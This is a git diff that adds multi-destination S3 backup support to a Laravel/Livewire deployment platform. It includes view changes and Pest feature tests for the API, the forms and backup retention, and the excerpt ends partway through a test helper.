dcfb7c3815..4f0f7b43fd 100644 --- a/resources/views/livewire/project/database/backup-edit/s3.blade.php +++ b/resources/views/livewire/project/database/backup-edit/s3.blade.php @@ -25,11 +25,12 @@ @endif
- +
- @if ($executionStatus === 'running') - - @endif + :type="$executionStatusType" :pulse="$executionStatus === 'running'" />
{{ data_get($execution, 'database_name', 'N/A') }} @@ -112,7 +112,22 @@ - @if (data_get($execution, 's3_uploaded') !== null) + @foreach ($s3Replicas as $replica) + + @endforeach + @if ($s3Replicas->isEmpty() && data_get($execution, 's3_uploaded') !== null) name)).includes(search.toLowerCase()) || @js(strtolower($backup->frequency)).includes(search.toLowerCase()) - || @js(strtolower($backup->s3?->name ?? '')).includes(search.toLowerCase())" + || @js(strtolower($s3StorageNames)).includes(search.toLowerCase())" class="data-table-row scheduled-backups-table-grid border-b border-neutral-200 last:border-b-0 dark:border-white/[0.06]">
@@ -96,8 +97,8 @@ @endif
-
- {{ $backup->save_s3 ? ($backup->s3?->name ?? 'Unavailable') : 'Local only' }} +
+ {{ $backup->save_s3 ? ($s3StorageNames ?: 'Unavailable') : 'Local only' }}
'neutral', }; $databaseBackupId = 'database:'.$databaseBackup->id; - $databaseS3 = $databaseBackup->s3?->team_id === $serviceTeamId ? $databaseBackup->s3 : null; - $databaseS3Tooltip = ! $databaseBackup->save_s3 ? 'S3 storage: Not configured' : ($databaseS3 ? 'S3 storage: '.$databaseS3->name.' (bucket: '.$databaseS3->bucket.')' : 'S3 storage: Unavailable'); + $databaseS3s = ($databaseBackup->s3Storages->isNotEmpty() ? $databaseBackup->s3Storages : collect([$databaseBackup->s3])->filter())->where('team_id', $serviceTeamId); + $databaseS3Tooltip = ! $databaseBackup->save_s3 ? 'S3 storage: Not configured' : ($databaseS3s->isNotEmpty() ? 'S3 storage: '.$databaseS3s->map(fn ($s3) => $s3->name.' (bucket: '.$s3->bucket.')')->join(', ') : 'S3 storage: Unavailable'); @endphp
{{ $databaseBackup->frequency }} - {{ $latestExecution?->finished_at?->diffForHumans() ?? ($status === 'running' ? 'Running now' : 'Never') }} @@ -308,8 +308,8 @@ @foreach ($backups as $backup) @php $latestExecution = $backup->latestExecution; - $volumeS3 = $backup->s3?->team_id === $serviceTeamId ? $backup->s3 : null; - $volumeS3Tooltip = ! $backup->save_s3 ? 'S3 storage: Not configured' : ($volumeS3 ? 'S3 storage: '.$volumeS3->name.' (bucket: '.$volumeS3->bucket.')' : 'S3 storage: Unavailable'); + $volumeS3s = ($backup->s3Storages->isNotEmpty() ? $backup->s3Storages : collect([$backup->s3])->filter())->where('team_id', $serviceTeamId); + $volumeS3Tooltip = ! $backup->save_s3 ? 'S3 storage: Not configured' : ($volumeS3s->isNotEmpty() ? 'S3 storage: '.$volumeS3s->map(fn ($s3) => $s3->name.' (bucket: '.$s3->bucket.')')->join(', ') : 'S3 storage: Unavailable'); $status = $latestExecution?->status; $statusLabel = match ($status) { 'running' => 'In progress', @@ -338,8 +338,8 @@ {{ $backup->frequency }} - diff --git a/resources/views/livewire/project/shared/storages/volume-backups/executions.blade.php b/resources/views/livewire/project/shared/storages/volume-backups/executions.blade.php index b4bf4465ec..041fb4470d 100644 --- a/resources/views/livewire/project/shared/storages/volume-backups/executions.blade.php +++ b/resources/views/livewire/project/shared/storages/volume-backups/executions.blade.php @@ -48,15 +48,19 @@ 'failed' => 'error', default => 'neutral', }; + $s3Replicas = $execution->s3Replicas; + $hasLiveS3Copies = $s3Replicas->isNotEmpty() + ? $s3Replicas->contains(fn ($replica) => $replica->s3_uploaded === true && ! $replica->s3_storage_deleted) + : $execution->s3_uploaded === true && ! $execution->s3_storage_deleted; $executionCheckboxes = []; $deleteActions = []; if (! $execution->local_storage_deleted) { $deleteActions[] = 'This backup will be permanently deleted from local storage.'; } - if ($execution->s3_uploaded === true && ! $execution->s3_storage_deleted) { + if ($hasLiveS3Copies) { $executionCheckboxes[] = [ 'id' => 'delete_backup_s3', - 'label' => 'Delete the selected backup permanently from S3 Storage', + 'label' => 'Delete the selected backup permanently from every S3 storage', ]; } if (empty($deleteActions)) { @@ -75,7 +79,7 @@
- + @@ -98,7 +102,22 @@ - @if ($execution->s3_uploaded !== null) + @foreach ($s3Replicas as $replica) + + @endforeach + @if ($s3Replicas->isEmpty() && $execution->s3_uploaded !== null) - + Move
- + :confirmWithPassword="false" step2ButtonText="Remove storage" + :actions="['Backups from this schedule will no longer be uploaded to this storage. S3 backup turns off when no other storage remains.']"> @@ -148,10 +150,10 @@
- + :confirmWithPassword="false" step2ButtonText="Remove storage" + :actions="['Backups from this schedule will no longer be uploaded to this storage. S3 backup turns off when no other storage remains.']"> diff --git a/tests/Feature/Api/BackupS3DestinationsApiTest.php b/tests/Feature/Api/BackupS3DestinationsApiTest.php new file mode 100644 index 0000000000..5428dd51b7 --- /dev/null +++ b/tests/Feature/Api/BackupS3DestinationsApiTest.php @@ -0,0 +1,292 @@ +set('app.maintenance.store', 'array'); + InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $user = User::factory()->create(); + $this->team->members()->attach($user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $user->tokens()->create([ + 'name' => 's3-destinations-test', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->headers = ['Authorization' => 'Bearer '.$token->getKey().'|'.$plainTextToken]; + + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $this->database = StandalonePostgresql::create([ + 'name' => 'db', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'app', + 'image' => 'postgres:16', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $this->application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->volume = LocalPersistentVolume::create([ + 'name' => 'data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $this->firstS3 = createBackupDestinationS3($this->team, 'first'); + $this->secondS3 = createBackupDestinationS3($this->team, 'second'); + $this->otherTeamS3 = createBackupDestinationS3(Team::factory()->create(), 'foreign'); +}); + +function createBackupDestinationS3(Team $team, string $name): S3Storage +{ + return S3Storage::create([ + 'name' => $name, + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => $name.'-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + 'is_usable' => true, + ]); +} + +/** + * @return list + */ +function backupDestinationUuids(ScheduledDatabaseBackup|ScheduledVolumeBackup $backup): array +{ + return $backup->refresh()->selectedS3Storages()->pluck('uuid')->all(); +} + +describe('database backups', function () { + test('creates a backup with several destinations and lists them primary first', function () { + $response = $this->withHeaders($this->headers)->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid, $this->secondS3->uuid], + 's3_storage_uuid' => $this->secondS3->uuid, + ])->assertCreated(); + + $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->sole(); + expect($backup->s3_storage_id)->toBe($this->secondS3->id) + ->and(backupDestinationUuids($backup))->toBe([$this->secondS3->uuid, $this->firstS3->uuid]); + + $this->withHeaders($this->headers)->getJson("/api/v1/databases/{$this->database->uuid}/backups") + ->assertOk() + ->assertJsonPath('0.s3_storage_uuid', $this->secondS3->uuid) + ->assertJsonPath('0.s3_storage_uuids', [$this->secondS3->uuid, $this->firstS3->uuid]) + ->assertJsonMissingPath('0.s3_storages') + ->assertJsonMissingPath('0.s3'); + }); + + test('uses the first listed destination as primary when s3_storage_uuid is not sent', function () { + $response = $this->withHeaders($this->headers)->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->secondS3->uuid, $this->firstS3->uuid], + ])->assertCreated(); + + expect(ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->sole()->s3_storage_id)->toBe($this->secondS3->id); + }); + + test('a single s3_storage_uuid that is already a destination becomes primary and keeps the others', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'save_s3' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, + ]); + $backup->syncS3Storages([$this->firstS3->id, $this->secondS3->id]); + + $this->withHeaders($this->headers)->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuid' => $this->secondS3->uuid, + ])->assertOk(); + + expect(backupDestinationUuids($backup))->toBe([$this->secondS3->uuid, $this->firstS3->uuid]) + ->and($backup->s3_storage_id)->toBe($this->secondS3->id); + }); + + test('a single new s3_storage_uuid replaces every destination', function () { + $thirdS3 = createBackupDestinationS3($this->team, 'third'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'save_s3' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, + ]); + $backup->syncS3Storages([$this->firstS3->id, $this->secondS3->id]); + + $this->withHeaders($this->headers)->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 's3_storage_uuid' => $thirdS3->uuid, + ])->assertOk(); + + expect(backupDestinationUuids($backup))->toBe([$thirdS3->uuid]) + ->and($backup->s3_storage_id)->toBe($thirdS3->id); + }); + + test('updates the destination list', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, + ]); + + $this->withHeaders($this->headers)->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid, $this->secondS3->uuid], + ])->assertOk(); + + expect(backupDestinationUuids($backup))->toBe([$this->firstS3->uuid, $this->secondS3->uuid]) + ->and((bool) $backup->save_s3)->toBeTrue(); + }); + + test('rejects an S3 storage of another team without changing the backup', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_id' => $this->firstS3->id, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, + ]); + $backup->syncS3Storages([$this->firstS3->id]); + + $this->withHeaders($this->headers)->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 's3_storage_uuids' => [$this->firstS3->uuid, $this->otherTeamS3->uuid], + ])->assertUnprocessable() + ->assertJsonValidationErrors(['s3_storage_uuids']) + ->assertDontSee($this->otherTeamS3->name); + + expect(backupDestinationUuids($backup))->toBe([$this->firstS3->uuid]); + }); + + test('rejects invalid destination combinations', function (array $payload, string $errorField) { + $payload = array_map(fn ($value) => is_array($value) + ? array_map(fn (string $name) => $this->{$name}->uuid, $value) + : (is_string($value) && property_exists($this, $value) ? $this->{$value}->uuid : $value), $payload); + + $this->withHeaders($this->headers)->postJson("/api/v1/databases/{$this->database->uuid}/backups", ['frequency' => 'daily', ...$payload]) + ->assertUnprocessable() + ->assertJsonValidationErrors([$errorField]); + + expect(ScheduledDatabaseBackup::count())->toBe(0); + })->with([ + 'primary outside the list' => [['s3_storage_uuids' => ['firstS3'], 's3_storage_uuid' => 'secondS3'], 's3_storage_uuid'], + 'save_s3 without destinations' => [['save_s3' => true, 's3_storage_uuids' => []], 's3_storage_uuid'], + 'foreign storage in the list' => [['save_s3' => true, 's3_storage_uuids' => ['firstS3', 'otherTeamS3']], 's3_storage_uuids'], + ]); + + test('rejects clearing the destinations of a backup that saves to S3', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_id' => $this->firstS3->id, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, + ]); + + $this->withHeaders($this->headers)->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 's3_storage_uuids' => [], + ])->assertUnprocessable(); + + expect($backup->refresh()->s3_storage_id)->toBe($this->firstS3->id); + }); +}); + +describe('volume backups', function () { + test('sets several destinations and returns them primary first', function () { + $this->withHeaders($this->headers) + ->putJson("/api/v1/applications/{$this->application->uuid}/storages/{$this->volume->uuid}/backups", [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid, $this->secondS3->uuid], + 's3_storage_uuid' => $this->secondS3->uuid, + ]) + ->assertCreated() + ->assertJsonPath('s3_storage_uuid', $this->secondS3->uuid) + ->assertJsonPath('s3_storage_uuids', [$this->secondS3->uuid, $this->firstS3->uuid]); + + expect(backupDestinationUuids(ScheduledVolumeBackup::sole()))->toBe([$this->secondS3->uuid, $this->firstS3->uuid]); + }); + + test('a single s3_storage_uuid replaces every destination', function () { + $url = "/api/v1/applications/{$this->application->uuid}/storages/{$this->volume->uuid}/backups"; + $this->withHeaders($this->headers)->putJson($url, [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid, $this->secondS3->uuid], + ])->assertCreated(); + + $this->withHeaders($this->headers)->putJson($url, [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuid' => $this->secondS3->uuid, + ])->assertOk()->assertJsonPath('s3_storage_uuids', [$this->secondS3->uuid]); + + expect(backupDestinationUuids(ScheduledVolumeBackup::sole()))->toBe([$this->secondS3->uuid]); + }); + + test('rejects an S3 storage of another team', function () { + $this->withHeaders($this->headers) + ->putJson("/api/v1/applications/{$this->application->uuid}/storages/{$this->volume->uuid}/backups", [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid, $this->otherTeamS3->uuid], + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors(['s3_storage_uuids']) + ->assertDontSee($this->otherTeamS3->name); + + expect(ScheduledVolumeBackup::count())->toBe(0); + }); + + test('rejects a primary destination outside the list', function () { + $this->withHeaders($this->headers) + ->putJson("/api/v1/applications/{$this->application->uuid}/storages/{$this->volume->uuid}/backups", [ + 'frequency' => 'daily', + 'save_s3' => true, + 's3_storage_uuids' => [$this->firstS3->uuid], + 's3_storage_uuid' => $this->secondS3->uuid, + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors(['s3_storage_uuid']); + }); +}); diff --git a/tests/Feature/BackupEditValidationTest.php b/tests/Feature/BackupEditValidationTest.php index 66643ffc46..3479e8db11 100644 --- a/tests/Feature/BackupEditValidationTest.php +++ b/tests/Feature/BackupEditValidationTest.php @@ -424,7 +424,7 @@ it('defaults to the first available storage when multiple storages are available ]); Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s]) - ->assertSet('s3StorageId', $firstS3->id) + ->assertSet('s3StorageIds', [$firstS3->id]) ->set('saveS3', true) ->call('instantSave') ->assertDispatched('success'); @@ -461,7 +461,7 @@ it('accepts a root team S3 storage for the instance database backup', function ( Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => collect([$s3])]) ->set('saveS3', true) - ->set('s3StorageId', $s3->id) + ->set('s3StorageIds', [$s3->id]) ->call('instantSave') ->assertDispatched('success'); @@ -548,7 +548,7 @@ it('saves selected S3 storage immediately when it changes', function () { ]); Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s]) - ->set('s3StorageId', $secondS3->id) + ->set('s3StorageIds', [$secondS3->id]) ->assertDispatched('success'); $backup->refresh(); diff --git a/tests/Feature/BackupRetentionAndStaleDetectionTest.php b/tests/Feature/BackupRetentionAndStaleDetectionTest.php index 97e45599ff..8e235a6501 100644 --- a/tests/Feature/BackupRetentionAndStaleDetectionTest.php +++ b/tests/Feature/BackupRetentionAndStaleDetectionTest.php @@ -276,6 +276,8 @@ test('database S3 retention remains best effort when deletion fails', function ( ]); ScheduledDatabaseBackupExecution::whereKey($newestExecution->id)->update(['created_at' => now()]); ScheduledDatabaseBackupExecution::whereKey($oldExecution->id)->update(['created_at' => now()->subDay()]); + $newestExecution->s3Replicas()->create(['s3_storage_id' => $s3->id, 's3_uploaded' => true]); + $oldExecution->s3Replicas()->create(['s3_storage_id' => $s3->id, 's3_uploaded' => true]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->with(['/backup/old.dmp'])->andReturnFalse(); Storage::shouldReceive('build')->once()->andReturn($disk); diff --git a/tests/Feature/BackupS3DestinationsFormTest.php b/tests/Feature/BackupS3DestinationsFormTest.php new file mode 100644 index 0000000000..211360408a --- /dev/null +++ b/tests/Feature/BackupS3DestinationsFormTest.php @@ -0,0 +1,322 @@ + $name, + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => str($name)->slug()->toString(), + 'endpoint' => 'https://s3.example.com', + 'is_usable' => true, + 'team_id' => $team->id, + ]); +} + +/** + * @return array{0: Application, 1: LocalPersistentVolume, 2: StandalonePostgresql} + */ +function createResourcesForDestinationsFormTest(Team $team): array +{ + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + $server = Server::factory()->create(['team_id' => $team->id, 'private_key_id' => $privateKey->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $volume = LocalPersistentVolume::create([ + 'name' => 'app-data', + 'mount_path' => '/data', + 'resource_id' => $application->id, + 'resource_type' => $application->getMorphClass(), + ]); + $database = StandalonePostgresql::create([ + 'name' => 'pg-destinations', + 'image' => 'postgres:16-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + return [$application, $volume, $database]; +} + +function createDatabaseBackupForDestinationsFormTest(StandalonePostgresql $database, array $overrides = []): ScheduledDatabaseBackup +{ + return ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => false, + 'database_type' => $database->getMorphClass(), + 'database_id' => $database->id, + 'team_id' => $database->team()->id, + ...$overrides, + ]); +} + +beforeEach(function () { + Server::flushIdentityMap(); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->otherTeam = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'admin']); + $this->user->teams()->attach($this->otherTeam, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + [$this->application, $this->volume, $this->database] = createResourcesForDestinationsFormTest($this->team); + $this->firstStorage = createS3StorageForDestinationsFormTest($this->team, 'First S3'); + $this->secondStorage = createS3StorageForDestinationsFormTest($this->team, 'Second S3'); + $this->foreignStorage = createS3StorageForDestinationsFormTest($this->otherTeam, 'Foreign S3'); +}); + +it('saves two S3 destinations for a database backup schedule', function () { + $backup = createDatabaseBackupForDestinationsFormTest($this->database); + + Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s, 'section' => 's3']) + ->assertSee('First S3') + ->assertSee('Second S3') + ->assertSet('s3StorageIds', [$this->firstStorage->id]) + ->set('saveS3', true) + ->set('s3StorageIds', [(string) $this->firstStorage->id, (string) $this->secondStorage->id]) + ->call('submit') + ->assertHasNoErrors() + ->assertDispatched('success'); + + $backup->refresh(); + expect($backup->save_s3)->toBeTruthy() + ->and($backup->s3_storage_id)->toBe($this->firstStorage->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]); +}); + +it('saves two S3 destinations for a volume backup schedule', function () { + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application]) + ->set('frequency', 'daily') + ->set('saveToS3', true) + ->set('s3StorageIds', [(string) $this->secondStorage->id, (string) $this->firstStorage->id]) + ->assertHasNoErrors() + ->assertDispatched('success'); + + $backup = ScheduledVolumeBackup::query()->sole(); + expect($backup->save_s3)->toBeTrue() + ->and($backup->s3_storage_id)->toBe($this->secondStorage->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]); +}); + +it('drops S3 storages of another team after a team switch', function () { + $backup = createDatabaseBackupForDestinationsFormTest($this->database, [ + 'save_s3' => true, + 's3_storage_id' => $this->firstStorage->id, + ]); + $backup->syncS3Storages([$this->firstStorage->id]); + + $databaseComponent = Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s]); + $volumeComponent = Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application]); + session(['currentTeam' => $this->otherTeam]); + + $databaseComponent->set('s3StorageIds', [$this->foreignStorage->id]) + ->assertHasErrors('s3StorageIds'); + expect($backup->fresh()->s3Storages()->pluck('s3_storages.id')->all())->toBe([$this->firstStorage->id]); + + $databaseComponent->set('s3StorageIds', [$this->secondStorage->id, $this->foreignStorage->id]) + ->assertHasNoErrors(); + expect($backup->fresh()->s3_storage_id)->toBe($this->secondStorage->id) + ->and($backup->fresh()->s3Storages()->pluck('s3_storages.id')->all())->toBe([$this->secondStorage->id]); + + $volumeComponent->set('frequency', 'daily') + ->set('saveToS3', true) + ->set('s3StorageIds', [$this->foreignStorage->id]) + ->assertHasErrors('s3StorageIds'); + expect(ScheduledVolumeBackup::query()->count())->toBe(0); + + $volumeComponent->set('s3StorageIds', [$this->firstStorage->id, $this->foreignStorage->id]) + ->assertHasNoErrors(); + expect(ScheduledVolumeBackup::query()->sole()->s3Storages()->pluck('s3_storages.id')->all()) + ->toBe([$this->firstStorage->id]); +}); + +it('rejects S3 backups without a destination', function () { + $backup = createDatabaseBackupForDestinationsFormTest($this->database, [ + 'save_s3' => true, + 's3_storage_id' => $this->firstStorage->id, + ]); + $backup->syncS3Storages([$this->firstStorage->id]); + + Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s]) + ->set('s3StorageIds', []) + ->call('submit') + ->assertHasErrors('s3StorageIds') + ->assertDispatched('error'); + + expect($backup->fresh()->save_s3)->toBeTruthy() + ->and($backup->fresh()->s3Storages()->pluck('s3_storages.id')->all())->toBe([$this->firstStorage->id]); + + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application]) + ->set('frequency', 'daily') + ->set('saveToS3', true) + ->set('s3StorageIds', []) + ->call('save') + ->assertHasErrors('s3StorageIds'); + + expect(ScheduledVolumeBackup::query()->count())->toBe(0); +}); + +it('moves and removes one destination of a multi-destination schedule from the storage page', function () { + $thirdStorage = createS3StorageForDestinationsFormTest($this->team, 'Third S3'); + $databaseBackup = createDatabaseBackupForDestinationsFormTest($this->database, ['save_s3' => true]); + $databaseBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + $volumeBackup = ScheduledVolumeBackup::create([ + 'backupable_type' => $this->volume->getMorphClass(), + 'backupable_id' => $this->volume->id, + 'team_id' => $this->team->id, + 'frequency' => 'daily', + 'enabled' => true, + 'save_s3' => true, + ]); + $volumeBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + + Livewire::test(StorageResources::class, ['storage' => $this->secondStorage]) + ->assertSet("selectedStorages.{$databaseBackup->id}", $this->secondStorage->id) + ->assertSet("selectedVolumeStorages.{$volumeBackup->id}", $this->secondStorage->id) + ->assertSee('pg-destinations') + ->assertSee('app-data'); + + Livewire::test(StorageResources::class, ['storage' => $this->firstStorage]) + ->set("selectedStorages.{$databaseBackup->id}", $thirdStorage->id) + ->call('moveBackup', $databaseBackup->id) + ->set("selectedVolumeStorages.{$volumeBackup->id}", $thirdStorage->id) + ->call('moveVolumeBackup', $volumeBackup->id); + + foreach ([$databaseBackup, $volumeBackup] as $backup) { + $backup->refresh(); + expect($backup->s3_storage_id)->toBe($thirdStorage->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->secondStorage->id, $thirdStorage->id]); + } + + Livewire::test(StorageResources::class, ['storage' => $this->secondStorage]) + ->call('disableS3', $databaseBackup->id) + ->call('disableVolumeS3', $volumeBackup->id); + + foreach ([$databaseBackup, $volumeBackup] as $backup) { + $backup->refresh(); + expect($backup->save_s3)->toBeTruthy() + ->and($backup->s3_storage_id)->toBe($thirdStorage->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->all())->toBe([$thirdStorage->id]); + } + + Livewire::test(StorageResources::class, ['storage' => $thirdStorage]) + ->call('disableS3', $databaseBackup->id) + ->call('disableVolumeS3', $volumeBackup->id); + + foreach ([$databaseBackup, $volumeBackup] as $backup) { + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy() + ->and($backup->s3_storage_id)->toBeNull() + ->and($backup->s3Storages()->count())->toBe(0); + } +}); + +it('shows the copy status of each destination in the execution lists', function () { + $databaseBackup = createDatabaseBackupForDestinationsFormTest($this->database, ['save_s3' => true]); + $databaseBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + $databaseExecution = ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $databaseBackup->id, + 'status' => 'success', + 'filename' => '/backups/dump.dmp', + 's3_uploaded' => false, + ]); + $volumeBackup = ScheduledVolumeBackup::create([ + 'backupable_type' => $this->volume->getMorphClass(), + 'backupable_id' => $this->volume->id, + 'team_id' => $this->team->id, + 'frequency' => 'daily', + 'save_s3' => true, + ]); + $volumeBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + $volumeExecution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $volumeBackup->id, + 'status' => 'success', + 'filename' => '/backups/volume.tar.gz', + 's3_uploaded' => false, + ]); + foreach ([$databaseExecution, $volumeExecution] as $execution) { + $execution->s3Replicas()->create(['s3_storage_id' => $this->firstStorage->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $this->secondStorage->id, 's3_uploaded' => false, 'message' => 'Access denied']); + } + + Livewire::test(BackupExecutions::class, ['backup' => $databaseBackup]) + ->assertSeeInOrder(['First S3 Available', 'Second S3 Failed']) + ->assertSee('Access denied') + ->assertSee('Delete the selected backup permanently from every S3 storage'); + + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application, 'section' => 'executions']) + ->assertSeeInOrder(['First S3', 'Second S3 failed']) + ->assertSee('Delete the selected backup permanently from every S3 storage'); +}); + +it('keeps a selected destination that is unusable for a while when other settings are saved', function () { + $databaseBackup = createDatabaseBackupForDestinationsFormTest($this->database, ['save_s3' => true]); + $databaseBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + $volumeBackup = ScheduledVolumeBackup::create([ + 'backupable_type' => $this->volume->getMorphClass(), + 'backupable_id' => $this->volume->id, + 'team_id' => $this->team->id, + 'frequency' => '0 0 * * *', + 'save_s3' => true, + ]); + $volumeBackup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + $this->secondStorage->update(['is_usable' => false]); + + Livewire::test(BackupEdit::class, ['backup' => $databaseBackup->fresh(), 'availableS3Storages' => $this->team->s3s, 'section' => 's3']) + ->assertSee('Second S3 (unavailable)') + ->set('timeout', 7200) + ->call('submit') + ->assertHasNoErrors(); + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application, 'section' => 's3']) + ->assertSee('Second S3 (unavailable)') + ->set('stopDuringBackup', true) + ->call('save') + ->assertHasNoErrors(); + + expect($databaseBackup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]) + ->and($volumeBackup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]); +}); diff --git a/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php b/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php new file mode 100644 index 0000000000..0191aa09d7 --- /dev/null +++ b/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php @@ -0,0 +1,434 @@ + $name, + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => strtolower($name).'-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); +} + +function multiS3Execution(ScheduledDatabaseBackup $backup, string $name, array $attributes = []): ScheduledDatabaseBackupExecution +{ + $execution = ScheduledDatabaseBackupExecution::create([ + 'uuid' => $name, + 'database_name' => 'app', + 'filename' => "/backup/{$name}.dmp", + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 's3_uploaded' => true, + 'local_storage_deleted' => true, + ...$attributes, + ]); + + return $execution; +} + +/** + * Records the files that deleteBackupsS3() removes, keyed by bucket. + */ +function fakeMultiS3Deletes(): Collection +{ + $deleted = collect(); + Storage::shouldReceive('build')->andReturnUsing(function (array $config) use ($deleted) { + $disk = Mockery::mock(); + $disk->shouldReceive('delete')->andReturnUsing(function (array $files) use ($config, $deleted) { + $deleted->put($config['bucket'], [...$deleted->get($config['bucket'], []), ...$files]); + + return true; + }); + + return $disk; + }); + + return $deleted; 